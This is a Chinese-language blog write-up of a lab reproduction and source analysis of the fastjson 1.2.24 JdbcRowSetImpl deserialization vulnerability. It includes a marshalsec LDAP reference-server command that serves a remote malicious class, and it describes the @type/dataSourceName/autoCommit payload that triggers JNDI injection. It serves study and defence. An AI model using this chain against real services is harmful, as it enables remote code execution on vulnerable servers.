fastjson漏洞-JdbcRowSetImpl链(一)
fastjson概述
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
使用方法
在maven的pom.xml配置文件中加入依赖
1 | <dependency> |
涉及函数
JSON.toJSONString(Object) : 将对象序列化成json
格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName) :将对象序列化成json
格式,并且记录了对象所属的类的信息
JSON.parse(Json) : 将json
格式返回为对象(但是反序列化类对象没有@Type时会报错)
JSON.parseObject(Json): 返回对象是com.alibaba.fastjson.JSONObject
类
JSON.parseObject(Json, Object.class) : 返回对象会根据json
中的@Type来决定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField): 会把Json数据对应的类中的私有成员也给还原
在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,而反序列化的时候在,会调用了指定类的全部的setter,publibc修饰的成员全部赋值。
直接调用
1 | String text = JSON.toJSONString(obj); //序列化 |
漏洞复现
漏洞环境
复现过程与vulhub中的描述大致误差,可注意几点
使用vulhub中的fastjson1.2.24作为使用环境
靶机中开启后可在浏览器访问到
攻击环境
攻击环境需目标能访问到机器上
1 | // javac TouchFile.java |
将上述测试用的代码编译为class文件并将存在该class文件的文件开放http服务
然后使用mashalsec(建议编译此工具的JDK版本与目标JDK版本保持一致)开启RMI或者LADP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.65.130:8000/#TouchFile 9999
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
在java高于于7u21、6u45版本的jdk中官方将将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true,,Java虚拟机将只信任预先配置好的codebase ,不再支持从RMI请求中获取导致无法借助rmi服务来利用fastjson的这个洞
然后构造poc发送恶意请求触发漏洞
在docker中验证是否执行了恶意类中的touch /tmp/success指令
至此复现完成
漏洞分析
JSON数据解析过程
首先引入依赖,此处选用fastjson1.2.24也是最早出现反序列化漏洞的版本
从网上对漏洞的描述来看JSONObject.parseObject就是漏洞的产生点,因此这里直接对parseObject方法进行分析。
在JSONObject.parseObject前断点开始debug并步入parseObject
步入parse方法
可以看到这里创建了DefaultJSONParser的对象
跟入这个类我们可以看到调用了这个构造方法和传入构造方法的值
JSONScanner的注释如下
在反序列化的利用中没有涉及到这个类因此简单跳过
执行完后会跳转至173行的DefaultJSONParser
执行完DefaultJSONParser的构造方法后会调用该类的parse方法
跟入
LBRACE预定义的值是12,因为token是12 进入LBRACE分支创建JSONObjec对象并将lexer.isEnabled作为参数传入(无用),然后执行parseObject
这里scanSymbol会扫描传入的json数据并获取到第一个数据@type
走到这里时会判断key的值是否是DEFAULT_TYPE_KEY,而在预定义中DEFAULT_TYPE_KEY的值就是@type,判断为真后开始执行后续的操作
获取到@type对应的值后执行loadClass方法将传入的参数加载为一个类
完成一些对类名格式的校正后返回com.sum.rowset.JdbcRowSetImpl这个类
完成一些相关解析后通过getDeserializer()序列化和deserializer.deserialze反序列化
JdbcRowSetImpl链
反序列化利用链
fastjson常用的利用链有三条,上述复现过程中利用的是jndi注入的JdbcRowSetImpl链。除了JdbcRowSetImpl链外还有TemplateImpl链和BasicDataSource,TemplateImpl是CC链中的第二条但需要目标环境设置Feature.SupportNonPublicField不太适用。BasicDataSource链常用于不出网环境。
JNDI注入
这里简单了解一下JNDI注入,后续深入分析。JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
攻击流程:
- 首先是这个lookup(URI)参数可控
- 攻击者控制URI参数为指定为恶意的一个RMI服务
- 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
- 目标在进行
lookup()
操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()
获取外部远程对象实例; - 攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;
利用链构造分析
在fastjson的payload中有两个重要的参数dataSourceName和autoCommit
利用链所需要达到的效果就是经过一系列的调用最终能执行lookup()并且传入了我们指定的URL
JdbcRowSetImpl这里的Connect方法中调用lookup方法,只要让lookup中的参数getDataSourceName为我们所控制的远程调用的方法则满足jndi注入的条件
可以在注释中看到getDatasourceName的值是由setDataSourceName设置的,经典的get、set方法
set方法如上所示
利用链到只剩下最后一个问题,怎么调用到Connect方法执行lookup函数
在JdbcRowSetImpl中有三个函数会调用到connect方法,但因为另外两个函数不好利用因此只讨论autoCommit方法,autoCommit方法调用到connect方法的过程如上图所示
总结
fastjson的利用过程大致如下
JSONObject.parseObject(payload)加载传入的json
DefaultJSONParser处理传入的json,将@type后的com.sun.rowset.JdbcRowSetImpl使用类加载器加载成类
getDeserializer()和deserializer.deserialze()执行序列化和反序列化操作
反序列化操作时会调用dataSourceName和autoCommit两个属性的set方法
pyalod中”ldap://ip:port/exp”这个远程开发服务作为setdataSourceName函数的属性传入
setautoCommit(true)方法会调用connect()从而调用lookup(getdataSourceName())方法,从而达到jndi注入的效果
参考链接:
https://blog.csdn.net/qq_36869808/article/details/121541929?spm=1001.2014.3001.5501
https://www.cnblogs.com/sijidou/p/13121332.html
https://jishuin.proginn.com/p/763bfbd63f5d
https://www.cnblogs.com/nice0e3/p/14776043.html